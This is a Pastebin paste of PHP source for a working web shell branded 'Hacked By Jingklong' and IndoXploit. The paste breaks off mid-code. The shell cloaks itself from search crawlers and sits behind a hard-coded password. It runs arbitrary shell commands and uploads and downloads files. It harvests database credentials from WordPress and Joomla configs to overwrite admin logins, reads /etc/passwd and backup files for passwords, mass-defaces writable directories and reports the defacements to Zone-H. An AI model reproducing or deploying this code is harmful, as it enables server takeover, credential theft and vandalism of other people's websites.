Guest User

Untitled

a guest
Mar 13th, 2017
1,833
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 35.19 KB | None | 0 0
  1. <?php
  2. session_start();
  3. error_reporting(0);
  4. set_time_limit(0);
  5. @set_magic_quotes_runtime(0);
  6. @clearstatcache();
  7. @ini_set('error_log',NULL);
  8. @ini_set('log_errors',0);
  9. @ini_set('max_execution_time',0);
  10. @ini_set('output_buffering',0);
  11. @ini_set('display_errors', 0);
  12.  
  13. $auth_pass = "71e753a5f8d73de5571c840b0ae03c52"; // default: asu
  14. $color = "#00ff00";
  15. $default_action = 'FilesMan';
  16. $default_use_ajax = true;
  17. $default_charset = 'UTF-8';
  18. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  19. $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  20. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  21. header('HTTP/1.0 404 Not Found');
  22. exit;
  23. }
  24. }
  25.  
  26. function login_shell() {
  27. ?>
  28. <html>
  29. <head>
  30. <title>BTM</title>
  31. <style type="text/css">
  32. html {
  33. margin: 20px auto;
  34. background: #000000;
  35. color: green;
  36. text-align: center;
  37. }
  38. header {
  39. color: green;
  40. margin: 10px auto;
  41. }
  42. input[type=password] {
  43. width: 250px;
  44. height: 25px;
  45. color: red;
  46. background: #000000;
  47. border: 1px purple;
  48. padding: 5px;
  49. margin-left: 20px;
  50. text-align: center;
  51. }
  52. input[type=password1] {
  53. width: 250px;
  54. height: 25px;
  55. color: red;
  56. background: #000000;
  57. border: 1px ;
  58. padding: 5px;
  59. margin-left: 20px;
  60. text-align: center;
  61. }
  62. </style>
  63. </head>
  64. <center>
  65. <header>
  66. <html>
  67.  
  68.  
  69. <head>
  70. <link href='http://fonts.googleapis.com/css?family=Give+You+Glory' rel='stylesheet' type='text/css'>
  71. <link href="http://fonts.googleapis.com/css?family=Iceland" rel="stylesheet" type="text/css">
  72. <meta content='Hacked By Jingklong' name='description'/>
  73. <meta content='Hacked By Jingklong' name='keywords'/>
  74. <meta content='Hacked By Jingklong' name='Abstract'/>
  75. <style>
  76. img{border-width:0px}
  77. .shakeimage{position:relative}
  78. .button{margin-top:50px; padding:10px; background-color:red; color:#FFF;}
  79. h1 { font-size:48; margin-top:-20px;}
  80. </style>
  81.  
  82. <title> [!] hacked by Jingklong [!] </title>
  83. <link rel="SHORTCUT ICON" href="http://www.paper-machinery.com/flags/Indonesia.gif">
  84. </head>
  85. <body bgcolor="#000000"><br><center><img src="https://s28.postimg.org/7tfu3g2t9/alone_in_my_sadness_by_25clad35_d56fays.jpg" height="500" width="350"></center>
  86. <p></p><p></p><br><br><br><br><form method="post">
  87. <input type="password1" name="passssssssss">
  88. </form>
  89. <center><font color="lime" face="Give You Glory" size="5"><b>Karena sendirian itu menyakitkan</b></font>
  90. <embed src="http://www.youtube.com/v/lwNnWpRigGU&autoplay=1" type="application/x-shockwave-flash" wmode="transparent" width="1" height="1"></embed>
  91. </body>
  92.  
  93. <form method="post">
  94. <input type="password" name="pass">
  95. </form>
  96. <?php
  97. exit;
  98. }
  99. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  100. if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  101. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  102. else
  103. login_shell();
  104. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  105. @ob_clean();
  106. $file = $_GET['file'];
  107. header('Content-Description: File Transfer');
  108. header('Content-Type: application/octet-stream');
  109. header('Content-Disposition: attachment; filename="'.basename($file).'"');
  110. header('Expires: 0');
  111. header('Cache-Control: must-revalidate');
  112. header('Pragma: public');
  113. header('Content-Length: ' . filesize($file));
  114. readfile($file);
  115. exit;
  116. }
  117. ?>
  118. <html>
  119. <head>
  120. <title>BTM</title>
  121. <meta name='author' content='IndoXploit'>
  122. <meta charset="UTF-8">
  123. <style type='text/css'>
  124. body{
  125. background-image: url(https://s30.postimg.org/4ede4hj1t/Screenshot_5.png);
  126. background-repeat: repeat-y;
  127. background-size:cover;
  128. color: #00FF00;
  129. text-align: left;
  130. font-family: Century Gothic;
  131. font-size: 10pt;
  132. background-color: black;
  133. font-weight: bold;
  134. padding: 0px;
  135. }
  136. a {
  137. color:#fff;
  138. }
  139. li {
  140. display: inline;
  141. margin: 5px;
  142. padding: 5px;
  143. }
  144. a:hover {
  145. color: purple;
  146. }
  147. table, th, td {
  148. border-collapse:collapse;
  149. font-family: Tahoma, Geneva, sans-serif;
  150. background: transparent;
  151. font-family: 'Ubuntu';
  152. font-size: 13px;
  153. }
  154. .result {
  155. padding: 15px;
  156. border: 1px solid #CCC;
  157. width: 500px;
  158. margin: 0 auto;
  159. border-radius: 10px;
  160. -moz-border-radius: 10px;
  161. -webkit-border-radius: 10px;
  162. }
  163. input{
  164. border: 1px solid;
  165. overflow: hidden;
  166. background: transparent;
  167. color: #00FFFF;
  168. -moz-border-radius: 5px;
  169. -webkit-border-radius: 5px;
  170. border-radius: 5px;
  171. }
  172. textarea{
  173. border: 1px solid;
  174. overflow: hidden;
  175. background: transparent;
  176. color: #00FFFF;
  177. -moz-border-radius: 5px;
  178. -webkit-border-radius: 5px;
  179. border-radius: 5px;
  180. }
  181. .main {
  182. font-family: Bookman Old Style, Century Gothic;
  183. font-size: 40pt;
  184. text-shadow: 0px 0px 6px rgb(255, 0, 0), 0px 0px 5px rgb(255, 0, 0), 0px 0px 5px rgb(255, 0, 0);
  185. color: rgb(255, 255, 255);
  186. }
  187. .button {
  188. -webkit-box-shadow:rgba(0,0,0,0.2) 0 1px 0 0;
  189. -moz-box-shadow:rgba(0,0,0,0.2) 0 1px 0 0;
  190. box-shadow:rgba(0,0,0,0.2) 0 1px 0 0;
  191. color:#333;
  192. background-color:#FA2;
  193. border-radius:5px;
  194. -moz-border-radius:5px;
  195. -webkit-border-radius:5px;
  196. border:none;
  197. font-family:Arial,sans-serif;
  198. font-size:16px;
  199. font-weight:700;
  200. height:32px;
  201. padding:4px 16px;
  202. text-shadow:#FE6 0 1px 0
  203. }
  204. </style>
  205. </head>
  206. <?php
  207. function w($dir,$perm) {
  208. if(!is_writable($dir)) {
  209. return "<font color=red>".$perm."</font>";
  210. } else {
  211. return "<font color=lime>".$perm."</font>";
  212. }
  213. }
  214. function r($dir,$perm) {
  215. if(!is_readable($dir)) {
  216. return "<font color=red>".$perm."</font>";
  217. } else {
  218. return "<font color=lime>".$perm."</font>";
  219. }
  220. }
  221. function exe($cmd) {
  222. if(function_exists('system')) {
  223. @ob_start();
  224. @system($cmd);
  225. $buff = @ob_get_contents();
  226. @ob_end_clean();
  227. return $buff;
  228. } elseif(function_exists('exec')) {
  229. @exec($cmd,$results);
  230. $buff = "";
  231. foreach($results as $result) {
  232. $buff .= $result;
  233. } return $buff;
  234. } elseif(function_exists('passthru')) {
  235. @ob_start();
  236. @passthru($cmd);
  237. $buff = @ob_get_contents();
  238. @ob_end_clean();
  239. return $buff;
  240. } elseif(function_exists('shell_exec')) {
  241. $buff = @shell_exec($cmd);
  242. return $buff;
  243. }
  244. }
  245. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
  246. $ar0=explode($marqueurDebutLien, $text);
  247. $ar1=explode($marqueurFinLien, $ar0[$i]);
  248. return trim($ar1[0]);
  249. }
  250. function perms($file){
  251. $perms = fileperms($file);
  252. if (($perms & 0xC000) == 0xC000) {
  253. // Socket
  254. $info = 's';
  255. } elseif (($perms & 0xA000) == 0xA000) {
  256. // Symbolic Link
  257. $info = 'l';
  258. } elseif (($perms & 0x8000) == 0x8000) {
  259. // Regular
  260. $info = '-';
  261. } elseif (($perms & 0x6000) == 0x6000) {
  262. // Block special
  263. $info = 'b';
  264. } elseif (($perms & 0x4000) == 0x4000) {
  265. // Directory
  266. $info = 'd';
  267. } elseif (($perms & 0x2000) == 0x2000) {
  268. // Character special
  269. $info = 'c';
  270. } elseif (($perms & 0x1000) == 0x1000) {
  271. // FIFO pipe
  272. $info = 'p';
  273. } else {
  274. // Unknown
  275. $info = 'u';
  276. }
  277. // Owner
  278. $info .= (($perms & 0x0100) ? 'r' : '-');
  279. $info .= (($perms & 0x0080) ? 'w' : '-');
  280. $info .= (($perms & 0x0040) ?
  281. (($perms & 0x0800) ? 's' : 'x' ) :
  282. (($perms & 0x0800) ? 'S' : '-'));
  283. // Group
  284. $info .= (($perms & 0x0020) ? 'r' : '-');
  285. $info .= (($perms & 0x0010) ? 'w' : '-');
  286. $info .= (($perms & 0x0008) ?
  287. (($perms & 0x0400) ? 's' : 'x' ) :
  288. (($perms & 0x0400) ? 'S' : '-'));
  289. // World
  290. $info .= (($perms & 0x0004) ? 'r' : '-');
  291. $info .= (($perms & 0x0002) ? 'w' : '-');
  292. $info .= (($perms & 0x0001) ?
  293. (($perms & 0x0200) ? 't' : 'x' ) :
  294. (($perms & 0x0200) ? 'T' : '-'));
  295. return $info;
  296. }
  297. function hdd($s) {
  298. if($s >= 1073741824)
  299. return sprintf('%1.2f',$s / 1073741824 ).' GB';
  300. elseif($s >= 1048576)
  301. return sprintf('%1.2f',$s / 1048576 ) .' MB';
  302. elseif($s >= 1024)
  303. return sprintf('%1.2f',$s / 1024 ) .' KB';
  304. else
  305. return $s .' B';
  306. }
  307. function ambilKata($param, $kata1, $kata2){
  308. if(strpos($param, $kata1) === FALSE) return FALSE;
  309. if(strpos($param, $kata2) === FALSE) return FALSE;
  310. $start = strpos($param, $kata1) + strlen($kata1);
  311. $end = strpos($param, $kata2, $start);
  312. $return = substr($param, $start, $end - $start);
  313. return $return;
  314. }
  315. function getsource($url) {
  316. $curl = curl_init($url);
  317. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  318. curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
  319. curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
  320. curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
  321. $content = curl_exec($curl);
  322. curl_close($curl);
  323. return $content;
  324. }
  325. function bing($dork) {
  326. $npage = 1;
  327. $npages = 30000;
  328. $allLinks = array();
  329. $lll = array();
  330. while($npage <= $npages) {
  331. $x = getsource("http://www.bing.com/search?q=".$dork."&first=".$npage);
  332. if($x) {
  333. preg_match_all('#<h2><a href="(.*?)" h="ID#', $x, $findlink);
  334. foreach ($findlink[1] as $fl) array_push($allLinks, $fl);
  335. $npage = $npage + 10;
  336. if (preg_match("(first=" . $npage . "&amp)siU", $x, $linksuiv) == 0) break;
  337. } else break;
  338. }
  339. $URLs = array();
  340. foreach($allLinks as $url){
  341. $exp = explode("/", $url);
  342. $URLs[] = $exp[2];
  343. }
  344. $array = array_filter($URLs);
  345. $array = array_unique($array);
  346. $sss = count(array_unique($array));
  347. foreach($array as $domain) {
  348. echo $domain."\n";
  349. }
  350. }
  351. function reverse($url) {
  352. $ch = curl_init("http://domains.yougetsignal.com/domains.php");
  353. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  354. curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$url&ket=");
  355. curl_setopt($ch, CURLOPT_HEADER, 0);
  356. curl_setopt($ch, CURLOPT_POST, 1);
  357. $resp = curl_exec($ch);
  358. $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
  359. $array = explode(",,", $resp);
  360. unset($array[0]);
  361. foreach($array as $lnk) {
  362. $lnk = "http://$lnk";
  363. $lnk = str_replace(",", "", $lnk);
  364. echo $lnk."\n";
  365. ob_flush();
  366. flush();
  367. }
  368. curl_close($ch);
  369. }
  370. if(get_magic_quotes_gpc()) {
  371. function idx_ss($array) {
  372. return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
  373. }
  374. $_POST = idx_ss($_POST);
  375. $_COOKIE = idx_ss($_COOKIE);
  376. }
  377.  
  378. if(isset($_GET['dir'])) {
  379. $dir = $_GET['dir'];
  380. chdir($dir);
  381. } else {
  382. $dir = getcwd();
  383. }
  384. $kernel = php_uname();
  385. $ip = gethostbyname($_SERVER['HTTP_HOST']);
  386. $dir = str_replace("\\","/",$dir);
  387. $scdir = explode("/", $dir);
  388. $freespace = hdd(disk_free_space("/"));
  389. $total = hdd(disk_total_space("/"));
  390. $used = $total - $freespace;
  391. $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=lime>OFF</font>";
  392. $ds = @ini_get("disable_functions");
  393. $mysql = (function_exists('mysql_connect')) ? "<font color=lime>MYSQL</font>" : "<font color=red>MYSQL</font>";
  394. $curl = (function_exists('curl_version')) ? "<font color=lime>CURL</font>" : "<font color=red>CURL</font>";
  395. $wget = (exe('wget --help')) ? "<font color=lime>WGET</font>" : "<font color=red>WGET</font>";
  396. $perl = (exe('perl --help')) ? "<font color=lime>PERL</font>" : "<font color=red>PERL</font>";
  397. $python = (exe('python --help')) ? "<font color=lime>PYTHON</font>" : "<font color=red>PYTHON</font>";
  398. $show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
  399. if(!function_exists('posix_getegid')) {
  400. $user = @get_current_user();
  401. $uid = @getmyuid();
  402. $gid = @getmygid();
  403. $group = "?";
  404. } else {
  405. $uid = @posix_getpwuid(posix_geteuid());
  406. $gid = @posix_getgrgid(posix_getegid());
  407. $user = $uid['name'];
  408. $uid = $uid['uid'];
  409. $group = $gid['name'];
  410. $gid = $gid['gid'];
  411. }
  412. echo "<font color=lime>".$kernel."</font><br>";
  413. echo "<font color=lime>".$user."</font> (".$uid.")-<font color=lime>".$group."</font> (".$gid.")| <font color=lime>".$ip."</font><br>";
  414. echo "<font color=lime>$used</font> / <font color=lime>$total</font> ( Free: <font color=lime>$freespace</font> )<br>";
  415. echo "<font color=lime>Safe Mode: $sm</font><br>";
  416. echo "<font color=lime>Disable Functions</font>: $show_ds<br>";
  417. echo "| $mysql | $perl| $python | $wget | $curl |<br>";
  418. echo "Current DIR: ";
  419. foreach($scdir as $c_dir => $cdir) {
  420. echo "<a href='?dir=";
  421. for($i = 0; $i <= $c_dir; $i++) {
  422. echo $scdir[$i];
  423. if($i != $c_dir) {
  424. echo "/";
  425. }
  426. }
  427. echo "'>$cdir</a>/";
  428. }
  429. echo "&nbsp;&nbsp;[ ".w($dir, perms($dir))." ]";
  430. echo "<hr>";
  431. echo "<center>";
  432. echo "<ul>";
  433. echo "<li> <a href='?'>Home</a> </li>";
  434. echo "<li> <a href='?dir=$dir&do=upload'>Upload</a> </li>";
  435. echo "<li> <a href='?dir=$dir&do=mass_deface'>Mass Deface and Zone-H</a> </li>";
  436. echo "<li> <a href='?dir=$dir&do=salto'>Salto</a> </li>";
  437. echo "<li> <a style='color: red;' href='?logout=true'>Logout</a> </li>";
  438. echo "</ul>";
  439. echo "</center>";
  440. echo "<hr>";
  441. if($_GET['logout'] == true) {
  442. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  443. echo "<script>window.location='?';</script>";
  444.  
  445. }
  446. elseif($_GET['do'] == 'salto') {
  447. $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  448. if($_POST['hajar']) {
  449. if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
  450. echo "username atau password harus lebih dari 6 karakter";
  451. } else {
  452. $user_baru = $_POST['user_baru'];
  453. $pass_baru = md5($_POST['pass_baru']);
  454. $conf = $_POST['config_dir'];
  455. $scan_conf = scandir($conf);
  456. foreach($scan_conf as $file_conf) {
  457. if(!is_file("$conf/$file_conf")) continue;
  458. $config = file_get_contents("$conf/$file_conf");
  459. if(preg_match("/JConfig|joomla/",$config)) {
  460. $dbhost = ambilkata($config,"host = '","'");
  461. $dbuser = ambilkata($config,"user = '","'");
  462. $dbpass = ambilkata($config,"password = '","'");
  463. $dbname = ambilkata($config,"db = '","'");
  464. $dbprefix = ambilkata($config,"dbprefix = '","'");
  465. $prefix = $dbprefix."users";
  466. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  467. $db = mysql_select_db($dbname);
  468. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  469. $result = mysql_fetch_array($q);
  470. $id = $result['id'];
  471. $site = ambilkata($config,"sitename = '","'");
  472. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
  473. echo "Config => ".$file_conf."<br>";
  474. echo "CMS => Joomla<br>";
  475. if($site == '') {
  476. echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
  477. } else {
  478. echo "Sitename => $site<br>";
  479. }
  480. if(!$update OR !$conn OR !$db) {
  481. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  482. } else {
  483. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  484. }
  485. mysql_close($conn);
  486. } elseif(preg_match("/WordPress/",$config)) {
  487. $dbhost = ambilkata($config,"DB_HOST', '","'");
  488. $dbuser = ambilkata($config,"DB_USER', '","'");
  489. $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  490. $dbname = ambilkata($config,"DB_NAME', '","'");
  491. $dbprefix = ambilkata($config,"table_prefix = '","'");
  492. $prefix = $dbprefix."users";
  493. $option = $dbprefix."options";
  494. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  495. $db = mysql_select_db($dbname);
  496. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  497. $result = mysql_fetch_array($q);
  498. $id = $result[ID];
  499. $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  500. $result2 = mysql_fetch_array($q2);
  501. $target = $result2[option_value];
  502. if($target == '') {
  503. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  504. } else {
  505. $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
  506. }
  507. $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
  508. echo "Config => ".$file_conf."<br>";
  509. echo "CMS => Wordpress<br>";
  510. echo $url_target;
  511. if(!$update OR !$conn OR !$db) {
  512. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  513. } else {
  514. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  515. }
  516. mysql_close($conn);
  517. }
  518. }
  519. }
  520. } else {
  521. echo "<center>
  522.  
  523. <form method='post' target='_blank'>
  524. Config Directory : <br>
  525. <input type='text' size='50' name='config_dir' value='$dir'><br><br>
  526. New WordPress Admin as : <br>
  527. <input type='text' name='user_baru' value='asuasu69' placeholder='user_baru'><br>
  528. <input type='text' name='pass_baru' value='asuasu69' placeholder='pass_baru'><br>
  529. <input type='submit' name='hajar' value='Sikat' style='width: 215px;'>
  530. </form>
  531. ";
  532.  
  533. echo "<form method='post'>
  534. <font style='text-decoration: underline;'>Sunat Disini :</font>
  535. <input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='X'>
  536. </form>";
  537. if($_POST['do_cmd']) {
  538. echo "<pre>".exe($_POST['cmd'])."</pre>";
  539. }
  540.  
  541. echo '<html><head>
  542. </head><body>';
  543. echo "<center>";
  544. $d0mains = @file('/etc/named.conf');
  545. $domains = scandir("/var/named");
  546.  
  547. if ($domains or $d0mains)
  548. {
  549. $domains = scandir("/var/named");
  550. if($domains) {
  551. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th></tr>";
  552. $count=1;
  553. $dc = 0;
  554. $list = scandir("/var/named");
  555. foreach($list as $domain){
  556. if(strpos($domain,".db")){
  557. $domain = str_replace('.db','',$domain);
  558. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  559. $dirz = '/home/'.$owner['name'].'/backupwordpress';
  560. $path = getcwd();
  561.  
  562. if (is_readable($dirz)) {
  563. copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
  564. $p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
  565. $password=entre2v2($p,'password="','"');
  566. echo "<tr><td>".$count++."</td><td><a href='http://$domain/' target='_blank'>".$domain."</a></td><td><a href='?dir=$dirz' target='_blank'>".$owner['name']."</a></td></tr>";
  567. $dc++;
  568. }
  569.  
  570. }
  571. }
  572. echo '</table>';
  573. $total = $dc;
  574. echo '<br><div class="result">Total Anu Found = '.$total.'</h3><br />';
  575. echo '</center>';
  576. }else{
  577. $d0mains = @file('/etc/named.conf');
  578. if($d0mains) {
  579. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th></tr>";
  580. $count=1;
  581. $dc = 0;
  582. $mck = array();
  583. foreach($d0mains as $d0main){
  584. if(@eregi('zone',$d0main)){
  585. preg_match_all('#zone "(.*)"#',$d0main,$domain);
  586. flush();
  587. if(strlen(trim($domain[1][0])) >2){
  588. $mck[] = $domain[1][0];
  589. }
  590. }
  591. }
  592. $mck = array_unique($mck);
  593. $usr = array();
  594. $dmn = array();
  595. foreach($mck as $o) {
  596. $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
  597. $usr[] = $infos['name'];
  598. $dmn[] = $o;
  599. }
  600. array_multisort($usr,$dmn);
  601. $dt = file('/etc/passwd');
  602. $passwd = array();
  603. foreach($dt as $d) {
  604. $r = explode(':',$d);
  605. if(strpos($r[5],'home')) {
  606. $passwd[$r[0]] = $r[5];
  607. }
  608. }
  609. $l=0;
  610. $j=1;
  611. foreach($usr as $r) {
  612. $dirz = '/home/'.$r.'/backupwordpress/';
  613. $path = getcwd();
  614. if (is_readable($dirz)) {
  615. copy($dirz, ''.$path.'/'.$r.'.txt');
  616. $p=file_get_contents(''.$path.'/'.$r.'.txt');
  617. $password=entre2v2($p,'password="','"');
  618. echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td></tr>";
  619. $dc++;
  620. flush();
  621. $l=$l?0:1;
  622. $j++;
  623. }
  624. }
  625. }
  626. echo '</table>';
  627. $total = $dc;
  628. echo '<br><div class="result">Total Anu Account Found = '.$total.'</h3><br />';
  629. echo '</center>';
  630.  
  631. }
  632. }
  633.  
  634. else{
  635. echo "<div class='result'><i><font color='#FF0000'>ERROR</font><br><font color='#FF0000'>/var/named</font> or <font color='#FF0000'>etc/named.conf</font> Not Accessible!</i></div>";
  636. }
  637.  
  638.  
  639. echo "<center><br>&#169; <font color='#FF0000'>./elro-BN404</font> | BN-IDBTE4M";
  640. echo "</body></html>";
  641. }
  642. }
  643. elseif($_GET['do'] == 'upload') {
  644. echo "<center>";
  645. if($_POST['upload']) {
  646. if($_POST['tipe_upload'] == 'biasa') {
  647. if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".$_FILES['ix_file']['name']."")) {
  648. $act = "<font color=lime>Uploaded!</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
  649. } else {
  650. $act = "<font color=red>failed to upload file</font>";
  651. }
  652. } else {
  653. $root = $_SERVER['DOCUMENT_ROOT']."/".$_FILES['ix_file']['name'];
  654. $web = $_SERVER['HTTP_HOST']."/".$_FILES['ix_file']['name'];
  655. if(is_writable($_SERVER['DOCUMENT_ROOT'])) {
  656. if(@copy($_FILES['ix_file']['tmp_name'], $root)) {
  657. $act = "<font color=lime>Uploaded!</font> at <i><b>$root -> </b></i><a href='http://$web' target='_blank'>$web</a>";
  658. } else {
  659. $act = "<font color=red>failed to upload file</font>";
  660. }
  661. } else {
  662. $act = "<font color=red>failed to upload file</font>";
  663. }
  664. }
  665. }
  666. echo "Upload File:
  667. <form method='post' enctype='multipart/form-data'>
  668. <input type='radio' name='tipe_upload' value='biasa' checked>Biasa [ ".w($dir,"Writeable")." ]
  669. <input type='radio' name='tipe_upload' value='home_root'>home_root [ ".w($_SERVER['DOCUMENT_ROOT'],"Writeable")." ]<br>
  670. <input type='file' name='ix_file'>
  671. <input type='submit' value='upload' name='upload'>
  672. </form>";
  673. echo $act;
  674. echo "</center>";
  675. } elseif($_GET['do'] == 'cmd') {
  676. echo "<form method='post'>
  677. <font style='text-decoration: underline;'>".$user."@".$ip.": ~ $ </font>
  678. <input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
  679. </form>";
  680. if($_POST['do_cmd']) {
  681. echo "<pre>".exe($_POST['cmd'])."</pre>";
  682. }
  683. } elseif($_GET['do'] == 'mass_deface') {
  684. function sabun_massal($dir,$namafile,$isi_script) {
  685. if(is_writable($dir)) {
  686. $dira = scandir($dir);
  687. foreach($dira as $dirb) {
  688. $dirc = "$dir/$dirb";
  689. $lokasi = $dirc.'/'.$namafile;
  690. if($dirb === '.') {
  691. file_put_contents($lokasi, $isi_script);
  692. } elseif($dirb === '..') {
  693. file_put_contents($lokasi, $isi_script);
  694. } else {
  695. if(is_dir($dirc)) {
  696. if(is_writable($dirc)) {
  697. echo "[<font color=lime>DONE</font>] $lokasi<br>";
  698. file_put_contents($lokasi, $isi_script);
  699. $idx = sabun_massal($dirc,$namafile,$isi_script);
  700. }
  701. }
  702. }
  703. }
  704. }
  705. }
  706. function sabun_biasa($dir,$namafile,$isi_script) {
  707. if(is_writable($dir)) {
  708. $dira = scandir($dir);
  709. foreach($dira as $dirb) {
  710. $dirc = "$dir/$dirb";
  711. $lokasi = $dirc.'/'.$namafile;
  712. if($dirb === '.') {
  713. file_put_contents($lokasi, $isi_script);
  714. } elseif($dirb === '..') {
  715. file_put_contents($lokasi, $isi_script);
  716. } else {
  717. if(is_dir($dirc)) {
  718. if(is_writable($dirc)) {
  719. echo "<font color=red>http://$dirb/$namafile</font><br>";
  720. file_put_contents($lokasi, $isi_script);
  721. }
  722. }
  723. }
  724. }
  725. }
  726. }
  727. if($_POST['start']) {
  728. if($_POST['tipe_sabun'] == 'mahal') {
  729. echo "<div style='margin: 5px auto; padding: 5px'>";
  730. sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  731. echo "</div>";
  732. } elseif($_POST['tipe_sabun'] == 'murah') {
  733. echo "<div style='margin: 5px auto; padding: 5px'>";
  734. sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  735. echo "</div>";
  736. }
  737. } else {
  738. echo "<center>";
  739. echo "<form method='post'>
  740. <font style='text-decoration: underline;'>Tipe Sabun:</font><br>
  741. <input type='radio' name='tipe_sabun' value='murah' checked>Biasa<input type='radio' name='tipe_sabun' value='mahal'>Massal<br>
  742. <font style='text-decoration: underline;'>Folder:</font><br>
  743. <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
  744. <font style='text-decoration: underline;'>Filename:</font><br>
  745. <input type='text' name='d_file' value='denita.htm' style='width: 450px;' height='10'><br>
  746. <font style='text-decoration: underline;'>Index File:</font><br>
  747. <textarea name='script' style='width: 450px; height: 200px;'>Hacked by Jingklong</textarea><br>
  748. <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
  749. </form></center>";
  750. }
  751. if($_POST['submit']) {
  752. $domain = explode("\r\n", $_POST['url']);
  753. $nick = $_POST['nick'];
  754. echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
  755. echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
  756. function zoneh($url,$nick) {
  757. $ch = curl_init("http://www.zone-h.com/notify/single");
  758. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  759. curl_setopt($ch, CURLOPT_POST, true);
  760. curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
  761. return curl_exec($ch);
  762. curl_close($ch);
  763. }
  764. foreach($domain as $url) {
  765. $zoneh = zoneh($url,$nick);
  766. if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
  767. echo "$url -> <font color=lime>OK</font><br>";
  768. } else {
  769. echo "$url -> <font color=red>ERROR</font><br>";
  770. }
  771. }
  772. } else {
  773. echo "<center><form method='post'>
  774. <font style='text-decoration: underline;'>Zone-H Poster :</font><br>
  775. <u>Defacer</u>: <br>
  776. <input type='text' name='nick' size='50' value='Jingklong'><br>
  777. <u>Domains</u>: <br>
  778. <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
  779. <input type='submit' name='submit' value='Submit' style='width: 450px;'>
  780. </form>";
  781. }
  782. echo "</center>";
  783. } elseif($_GET['act'] == 'newfile') {
  784. if($_POST['new_save_file']) {
  785. $newfile = htmlspecialchars($_POST['newfile']);
  786. $fopen = fopen($newfile, "a+");
  787. if($fopen) {
  788. $act = "<script>window.location='?act=edit&dir=".$dir."&file=".$_POST['newfile']."';</script>";
  789. } else {
  790. $act = "<font color=red>permission denied</font>";
  791. }
  792. }
  793. echo $act;
  794. echo "<form method='post'>
  795. Filename: <input type='text' name='newfile' value='$dir/newfile.php' style='width: 450px;' height='10'>
  796. <input type='submit' name='new_save_file' value='Submit'>
  797. </form>";
  798. } elseif($_GET['act'] == 'newfolder') {
  799. if($_POST['new_save_folder']) {
  800. $new_folder = $dir.'/'.htmlspecialchars($_POST['newfolder']);
  801. if(!mkdir($new_folder)) {
